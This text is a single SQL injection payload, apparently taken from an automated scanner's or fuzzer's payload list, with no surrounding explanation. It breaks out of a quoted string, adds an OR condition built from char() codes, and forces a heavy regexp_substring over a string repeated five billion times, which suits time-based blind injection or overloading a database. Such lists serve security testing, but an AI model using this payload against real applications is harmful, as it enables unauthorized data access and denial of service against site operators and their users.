1'  )   or char  (  68  )  ||char  (  69  )  ||char  (  97  )  ||char  (  85  )    =  regexp_substring  (  repeat  (  right  (  char  (  5389  )  ,0  )  ,5000000000  )  ,null  )   and   (  'wdru' like 'wdru